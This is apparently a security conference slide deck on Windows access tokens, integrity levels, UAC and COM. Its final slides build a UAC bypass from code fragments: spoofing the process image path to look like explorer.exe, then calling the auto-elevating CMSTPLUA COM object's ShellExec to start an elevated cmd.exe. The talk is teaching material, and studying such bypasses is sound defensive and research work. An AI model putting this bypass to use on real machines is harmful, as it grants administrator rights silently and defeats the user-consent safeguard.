# Elevate your knowledge

From COM object fundamentals to UAC bypasses

# Elevate y edge

From COM object fund





# About Tijme (me)

- Offensive Cyber @ ABN AMRO Bank
- Previously Offensive Cyber @ Northwave
- Digital Forensics @ Hunted (TV show)
- Author of exploits & malwarez
- Socials username is @tijme
  Twitter – GitHub – LinkedIn

# Talk outline

1. Tokens & privileges
   *While a user logs in to Windows*
2. User Account Control (UAC)
   *And interconnecting it with your token(s)*
3. Component Object Model (COM)
   *A crash course on com munication*

❖ Demo
*Combining the three to bypass UAC*
*using the CMSTPLUA COM interface*

# Tokens & privileges

*While a user logs in to Windows*

# Tokens & privileges

## While a user logs in to Windows

1. Winlogon.exe spawns LogonUI.exe.
2. You enter your credentials.
3. LogonUI.exe forwards your credentials.
4. Winlogon.exe forwards your credentials.
5. Lsass.exe authenticates via LSA and creates token.
6. Lsass.exe returns access token to winlogon.exe.
7. Winlogon.exe creates a userinit.exe process.
8. Userinit.exe creates an explorer.exe process.
   **You are now authenticated, and your desktop is visible.**



# Tokens & privileges

## What does the token look like?

- Security ID (unique per account)
  `S-1-5-21-1528972156-2479201474-1403476459-591193`
- Group Security IDs

| | |
|---|---|
| `Everyone` | `S-1-1-0` |
| `BUILTIN\Users` | `S-1-5-32-545` |
| `BUILTIN\Administrators` | `S-1-5-32-544` |
| `Mandatory Label\Medium Mandatory Level` | `S-1-16-8192` |

- …



# Tokens & privileges

## What does the token look like?

- Security ID (unique per account)
  `S-1-5-21-1528972156-2479201474-1403476459-591193`
- Group Security IDs

| | |
|---|---|
| `Everyone` | `S-1-1-0` |
| `BUILTIN\Users` | `S-1-5-32-545` |
| `BUILTIN\Administrators` | `S-1-5-32-544` |
| `Mandatory Label\Medium Mandatory Level` | `S-1-16-8192` |

- …
- Privileges list
  - SeShutdownPrivilege
    - Locally Unique Identifier (LUID)
      `SeShutdownPrivelege`
    - Attributes
      `Enabled, disabled (present) or removed`
  - SeLoadDriverPrivilege
    - …



# Tokens & privileges

## Default token privileges

- Standard user

cmd.exe

```
$ whoami /groups | FINDSTR Level

Mandatory Label\Medium Mandatory Level    S-1-16-8192

$ whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled
```



# Tokens & privileges

## Default token privileges

- Local administrator

cmd.exe (administrator)

```
$ whoami /groups | FINDSTR Level

Mandatory Label\Medium Mandatory Level    S-1-16-8192

$ whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled
```



# Tokens & privileges

## Default token privileges




- Local administrator (Windows XP or lower)

Microsoft Windows

cmd.exe (administrator)

```
$ whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Disabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
```

# User Account Control (UAC)

*And interconnecting it with your token(s)*

# Administrator logon

## For Windows Vista™ and later

- Similar to standard user logon.
- Except, two tokens are created:
  - Filtered Token (for **medium** integrity)
  - Elevated Token (for **high** integrity)
- Userinit.exe and explorer.exe are launched with filtered token.
- User can initiate action in high integrity mode.




Recycle Bin
cmd.exe
file.txt
explorer.exe
Process with a medium integrity label
Uses the filtered token
19:42
18/08/2024


Recycle Bin
cmd.exe
file.txt
Open Enter
Share
Run as administrator
Pin to Start
Add to Favourites
Compress to ZIP file
Copy as path Ctrl+Shift+C
Properties Alt+Enter
Edit in Notepad
Show more options
Start process with a high integrity label
Uses the elevated token
explorer.exe
Process with a medium integrity label
Uses the filtered token
19:42
18/08/2024


Recycle Bin
cmd.exe
file.txt
User Account Control
Do you want to allow this app to make changes to your device?
Windows Command Processor
Verified publisher: Microsoft Windows
Show more details
Yes
No
19:42
18/08/2024


Recycle Bin
cmd.exe
file.txt
cmd.exe
Process with a high integrity label
Uses the elevated token
Administrator: Opdrachtprompt
C:\>whoami /groups | FINDSTR "Label"
Mandatory Label\High Mandatory Level Label S-1-16-12288
C:\>whoami /priv
PRIVILEGES INFORMATION
Privilege Name Description Stat
SeIncreaseQuotaPrivilege Geheugenquota voor een proces verhogen Disa
SeSecurityPrivilege Controlebeleid en beveiligingslogboek beheren Disa
SeTakeOwnershipPrivilege Eigenaar worden van bestanden of andere objecten Disa
SeLoadDriverPrivilege Stuurprogramma's laden en verwijderen Disa
SeSystemProfilePrivilege Systeemprestaties bekijken Disa
SeSystemtimePrivilege Systeemtijd wijzigen Disa
SeProfileSingleProcessPrivilege Een enkel proces bekijken Disa
SeIncreaseBasePriorityPrivilege Prioriteit verhogen voor planning Disa
SeCreatePagefilePrivilege Wisselbestand maken Disa
SeBackupPrivilege Back-ups van bestanden en mappen maken Disa
SeRestorePrivilege Bestanden en mappen terugzetten Disa
SeShutdownPrivilege Systeem afsluiten Disa
SeDebugPrivilege Fouten in programma's opsporen Disa
SeSystemEnvironmentPrivilege Omgevingswaarden in firmware wijzigen Disa
SeChangeNotifyPrivilege Controle op bladeren negeren Enab
SeRemoteShutdownPrivilege Afsluiten vanaf een extern systeem Disa
SeUndockPrivilege Computer uit basisstation verwijderen Disa
SeManageVolumePrivilege Onderhoudstaken op volume uitvoeren Disa
SeImpersonatePrivilege Een client nabootsen na authenticatie Enab
SeCreateGlobalPrivilege Globale objecten maken Enab
SeIncreaseWorkingSetPrivilege Een proceswerkset vergroten Disa
SeTimeZonePrivilege Tijdzone wijzigen Disa
SeCreateSymbolicLinkPrivilege Symbolische koppelingen maken Disa
SeDelegateSessionUserImpersonatePrivilege Een imitatietoken verkrijgen voor een andere gebruiker in dezelfde sessie Disa
19:42
18/08/2024


Recycle Bin
cmd.exe
file.txt
C:\>whoami /groups | FINDSTR "Label"
Mandatory Label\High Mandatory Level Label S-1-16-12288
C:\>whoami /priv
PRIVILEGES INFORMATION
Privilege Name Description Stat
SeIncreaseQuotaPrivilege Geheugenquota voor een proces verhogen Disa
SeSecurityPrivilege Controlebeleid en beveiligingslogboek beheren Disa
SeTakeOwnershipPrivilege Eigenaar worden van bestanden of andere objecten Disa
SeLoadDriverPrivilege Stuurprogramma's laden en verwijderen Disa
SeSystemProfilePrivilege Systeemprestaties bekijken Disa
SeSystemtimePrivilege Systeemtijd wijzigen Disa
SeProfileSingleProcessPrivilege Een enkel proces bekijken Disa
SeIncreaseBasePriorityPrivilege Prioriteit verhogen voor planning Disa
SeCreatePagefilePrivilege Wisselbestand maken Disa
SeBackupPrivilege Back-ups van bestanden en mappen maken Disa
SeRestorePrivilege Bestanden en mappen terugzetten Disa
SeShutdownPrivilege Systeem afsluiten Disa
SeDebugPrivilege Fouten in programma's opsporen Disa
SeSystemEnvironmentPrivilege Omgevingswaarden in firmware wijzigen Disa
SeChangeNotifyPrivilege Controle op bladeren negeren Enab
SeRemoteShutdownPrivilege Afsluiten vanaf een extern systeem Disa
SeUndockPrivilege Computer uit basisstation verwijderen Disa
SeManageVolumePrivilege Onderhoudstaken op volume uitvoeren Disa
SeImpersonatePrivilege Een client nabootsen na authenticatie Enab
SeCreateGlobalPrivilege Globale objecten maken Enab
SeIncreaseWorkingSetPrivilege Een proceswerkset vergroten Disa
SeTimeZonePrivilege Tijdzone wijzigen Disa
SeCreateSymbolicLinkPrivilege Symbolische koppelingen maken Disa
SeDelegateSessionUserImpersonatePrivilege Een imitatietoken verkrijgen voor een andere gebruiker in dezelfde sessie Disa
cmd.exe
Process with a high integrity label
Uses the elevated token
19:42
18/08/2024

# Fun fact about integrity levels

## For Windows Vista™ and later

- Most Windows objects have an integrity level.
  - Files
  - Processes
  - …
- Available levels are
  - Low integrity
  - Medium integrity (default)
  - High integrity
  - System
- Rule of thumb
  - To modify an object, one must be running the same or a higher integrity level

# Fun fact about integrity levels

## For Windows Vista™ and later

cmd.exe (DSK-NL-001\tijme)

```
$ whoami /groups | FINDSTR "Label"
          Mandatory Label\Medium Mandatory Level
```

# Fun fact about integrity levels

## For Windows Vista™ and later

cmd.exe (DSK-NL-001\tijme)

```
$ whoami /groups | FINDSTR "Label"
          Mandatory Label\Medium Mandatory Level

$ echo "Hello world" > .\file.txt
```

# Fun fact about integrity levels

## For Windows Vista™ and later

cmd.exe (DSK-NL-001\tijme)

```
$ whoami /groups | FINDSTR "Label"
          Mandatory Label\Medium Mandatory Level

$ echo "Hello world" > .\file.txt

$ icacls.exe .\file.txt
          NT AUTHORITY\SYSTEM:(I)(F)
          BUILTIN\Administrators:(I)(F)
          DSK-NL-001\tijme:(I)(F) ← Full Control
```

# Fun fact about integrity levels

## For Windows Vista™ and later

```
cmd.exe (DSK-NL-001\tijme)

$ whoami /groups | FINDSTR "Label"
          Mandatory Label\Medium Mandatory L

$ echo "Hello world" > .\file.txt

$ icacls.exe .\file.txt
          NT AUTHORITY\SYSTEM:(I)(F)
          BUILTIN\Administrators:(I)(F)
          DSK-NL-001\tijme:(I)(F)
```



# Fun fact about integrity levels

## For Windows Vista™ and later

cmd.exe (DSK-NL-001\tijme)

```
$ whoami /groups | FINDSTR "Label"
           Mandatory Label\Medium Mandatory Level

$ echo "Hello world" > .\file.txt

$ icacls.exe .\file.txt
           NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Administrators:(I)(F)
           DSK-NL-001\tijme:(I)(F) ← Full Control
```

cmd.exe (DSK-NL-001\tijme)

```
$ whoami /groups | FINDSTR "Label"
           Mandatory Label\High Mandatory Level
```

# Fun fact about integrity levels

## For Windows Vista™ and later

cmd.exe (DSK-NL-001\tijme)

```
$ whoami /groups | FINDSTR "Label"
           Mandatory Label\Medium Mandatory Level

$ echo "Hello world" > .\file.txt

$ icacls.exe .\file.txt
           NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Administrators:(I)(F)
           DSK-NL-001\tijme:(I)(F) ← Full Control
```

cmd.exe (DSK-NL-001\tijme)

```
$ whoami /groups | FINDSTR "Label"
           Mandatory Label\High Mandatory Level

$ icacls .\file.txt /setintegritylevel High

           processed file: .\file.txt
           Successfully processed 1 files; Failed processing 0 files
```

# Fun fact about integrity levels

## For Windows Vista™ and later

cmd.exe (DSK-NL-001\tijme)

```
$ whoami /groups | FINDSTR "Label"
          Mandatory Label\Medium Mandatory Level

$ echo "Hello world" > .\file.txt

$ icacls.exe .\file.txt
          NT AUTHORITY\SYSTEM:(I)(F)
          BUILTIN\Administrators:(I)(F)
          DSK-NL-001\tijme:(I)(F) ← Full Control

$ icacls.exe .\file.txt
          NT AUTHORITY\SYSTEM:(I)(F)
          BUILTIN\Administrators:(I)(F)
          DSK-NL-001\tijme:(I)(F) ← Full Control
          Mandatory Label\High Mandatory Level:(NW)
```

cmd.exe (DSK-NL-001\tijme)

```
$ whoami /groups | FINDSTR "Label"
          Mandatory Label\High Mandatory Level

$ icacls .\file.txt /setintegritylevel High

          processed file: .\file.txt
          Successfully processed 1 files; Failed processing 0 files
```

# Fun fact about integrity levels

## For Windows Vista™ and later

cmd.exe (DSK-NL-001\tijme)

```
$ whoami /groups | FINDSTR "Label"
           Mandatory Label\Medium Mandatory Level

$ echo "Hello world" > .\file.txt

$ icacls.exe .\file.txt
           NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Administrators:(I)(F)
           DSK-NL-001\tijme:(I)(F) ← Full Control

$ icacls.exe .\file.txt
           NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Administrators:(I)(F)
           DSK-NL-001\tijme:(I)(F) ← Full Control
           Mandatory Label\High Mandatory Level:(NW)

$ echo "Extra text" >> .\file.txt
           Access to the path 'file.txt' is denied.
```

cmd.exe (DSK-NL-001\tijme)

```
$ whoami /groups | FINDSTR "Label"
           Mandatory Label\High Mandatory Level

$ icacls .\file.txt /setintegritylevel High

           processed file: .\file.txt
           Successfully processed 1 files; Failed processing 0 files
```

# From an attacker perspective

**You need to bypass UAC to, for example, …**

- Write to C:\ or C:\Windows
- Load a kernel driver
- Impersonate another user
- And much more …

# So how do we bypass UAC?

## Why don't we just...

Use the CMSTPLua COM-object & CMLua interface to bypass UAC?

# Component Object Model (COM)

*How to com municate*

# What is COM?

- An inter-process communication standard.
- Comparable to an HTTP API.
  - A client (e.g. **`client.exe`**) invokes a function in a server (COM object, e.g. **`FileOperations.dll`**).
  - With COM, client & server are often on the same machine.
  - With Distributed COM (DCOM), client & server are on different machines.
- COM is a binary interface standard.
  - The server (COM object) is hot swappable!



# Regular interface (non-hot swappable example)

## Copying a file using your own source code interface.

FileSystemLibrary.obj

```
void MoveFile(char* src, char* dst) {
    CopyFile(src, dst);
    DeleteFile(src);
}
```

MoveFile.exe (statically linked with FileSystemLibrary.obj)

```
#include <FileSystemLibrary.h>

void main() {
    MoveFile("C:\a.txt", "C:\b.txt");
}
```

# Regular interface (non-hot swappable example)

## Copying a file using your own source code interface.

FileSystemLibrary.obj

```
void MoveFile(char* src, char* dst) {
    CopyFile(src, dst);
    DeleteFile(src);
}
```

MoveFile.exe (statically linked with FileSystemLibrary.obj)

```
#include <FileSystemLibrary.h>

void main() {
    MoveFile("C:\a.txt", "C:\b.txt");
}
```

# Binary interface (hot swappable example)

## Copying a file using your own source code interface.

Some COM interface implementation in Windows

```
void MoveFile(char* src, char* dst) {
    CopyFile(src, dst);
    DeleteFile(src);
}
```

MoveFile.exe

```
#include <FileSystemCOM.h>

void main() {
    // Initialzies COM
    CoInitialize();

    // Create COM file system interface
    CoCreateInstance(MY_COM_INTERFACE_GUID, (void**) &iFileOperation);

    // Perform move file
    iFileOperation->MoveFile("C:\a.txt", "C:\b.txt");
    iFileOperation->PerformOperations();
}
```

# Binary interface (hot swappable example)

## Copying a file using your own source code interface.

Some COM interface implementation in Windows

```
void MoveFile(char* src, char* dst) {
    CopyFile(src, dst);
    DeleteFile(src);
}
```

MoveFile.exe

```
#include <FileSystemCOM.h>

void main() {
    // Initialzies COM
    CoInitialize();

    // Create COM file system interface
    CoCreateInstance(MY_COM_INTERFACE_GUID, (void**) &iFileOperation);

    // Perform move file
    iFileOperation->MoveFile("C:\a.txt", "C:\b.txt");
    iFileOperation->PerformOperations();
}
```

# Binary interface (hot swappable example)

## Copying a file using the FileOperation interface

```
HRESULT CopyFile(PCWSTR source, PCWSTR destinationFolder, PCWSTR destinationName) {
    HRESULT hResult;
    IFileOperation* iFileOperation = NULL;
    IShellItem* iComSourceFile = NULL;
    IShellItem* iComDestinationFolder = NULL;

    // Let Windows know we'll use COM on the current thread
    CoInitialize(NULL);

    // Create IFileOperation interface
    CoCreateInstance(&CLSID_FileOperation, NULL, CLSCTX_ALL, &IID_IFileOperation, (void**) &iFileOperation);

    // Create object for source file to copy
    SHCreateItemFromParsingName(source, NULL, &IID_IShellItem, (void**) &iComSourceFile);

    // Create object for destination folder.
    SHCreateItemFromParsingName(destinationFolder, NULL, &IID_IShellItem, (void**) &iComDestinationFolder);

    // Create job to copy the file
    iFileOperation->CopyItem(iComSourceFile, iComDestinationFolder, destinationName, NULL);

    // Perform the job
    iFileOperation->PerformOperations();
}
```

# Component Object Model (COM)

## Listing COM objects and interfaces

- There are many objects, and interfaces to talk with objects.

`HKEY_CLASSES_ROOT\CLSID`

`HKEY_CLASSES_ROOT\Interface`



# Component Object Model (COM)

## The juicy stuff

- COM & UAC work nicely together!
- For example, some COM interaction can be “auto elevated”.

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList
```

  - Constraint: Caller must be a Microsoft binary.



# Component Object Model (COM)

## The juicy stuff

- "`Is CopyFile caller a Microsoft binary`" check is weak.
  - COM uses the Process Status API (PSAPI) to verify calling process.
    - Image path must e.g. be "c:\windows\system32\explorer.exe".
  - 😈 We can alter the PEB of our own process and instruct COM to elevate! 😈

`exploit.exe`

```
PEB* NtGetPeb() {
    return (void*) __readgsqword(0x60);
}

void main() {
    NtGetPeb()->ProcessParameters->ImagePathName = "c:\Windows\System32\explorer.exe";
     ...
    iFileOperation->CopyFile(src, dst, ...);
}
```

# Component Object Model (COM)

## Another (auto)elevating COM object

- Reversing the callable functions in undocumented auto elevated COM objects.

`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList`



# CMSTPLUA.dll & CMLUA.dll

## Connection Manager (Service Transport Profile)

- Used to manage network connections (VPNs, etc)
- LUA = Limited User Account
  - Now known as User Account Control (UAC)
- Connection Manager COM interface is undocumented?
  - Let me know if you find it somewhere!
  - How can we communicate with it?

# Component Object Model (COM)

## Connection Manager (Service Transport Profile)



# Component Object Model (COM)

## Creating a UAC bypass

exploit.exe

```
typedef struct ICMLuaUtilVtbl {
    BEGIN_INTERFACE
     ...
    ULONG(STDMETHODCALLTYPE* AddRef) (__RPC__in ICMLuaUtil* This);
    ULONG(STDMETHODCALLTYPE* Release) ( __RPC__in ICMLuaUtil* This);
    HRESULT(STDMETHODCALLTYPE* Method1) (__RPC__in ICMLuaUtil* This);
    HRESULT(STDMETHODCALLTYPE* Method2) (__RPC__in ICMLuaUtil* This);
     ...
    HRESULT(STDMETHODCALLTYPE* ShellExec) (LPCTSTR lpFile, LPCTSTR lpParameters,  ...);
     ...
    END_INTERFACE
};
```

# Component Object Model (COM)

## Creating a UAC bypass

exploit.exe

```
ICMLuaUtil* GetElevatedComObject() {
    # Init COM & Interface ID (IID) for CMLUA
    IID hIID_ICMLuaUtil;
    IIDFromString(L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}", &hIID_ICMLuaUtil)
    CoInitialize(NULL);

    # Init CMSTPLUA COM object with CMLUA interface and elevation
    ICMLuaUtil* pICMLuaUtil = malloc(sizeof(uintptr_t));
    CoGetObject(
        L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",
        (BIND_OPTS*) &hBindOpts,
        &hIID_ICMLuaUtil,
        (void**) &pICMLuaUtil
    );

    return pICMLuaUtil;
}
```

# Component Object Model (COM)

## Creating a UAC bypass

exploit.exe

```
...

void main() {

    # Spoof to PSAPI that we are "explorer.exe"
    NtGetPeb()->ProcessParameters->ImagePathName = "C:\Windows\System32\explorer.exe";

    ...

    # Run WinExec
    GetElevatedComObject()->lpVtbl->ShellExec("cmd.exe", "/k whoami/ priv", ...);

}
```

# Demo

*Bypassing UAC using the CMSTPLUA COM interface*


C:\Windows\System32\cmd.e
C:\Users\admin\Downloads>

# Thank you

Ask me anything on socials: @tijme

*presentation & source code:*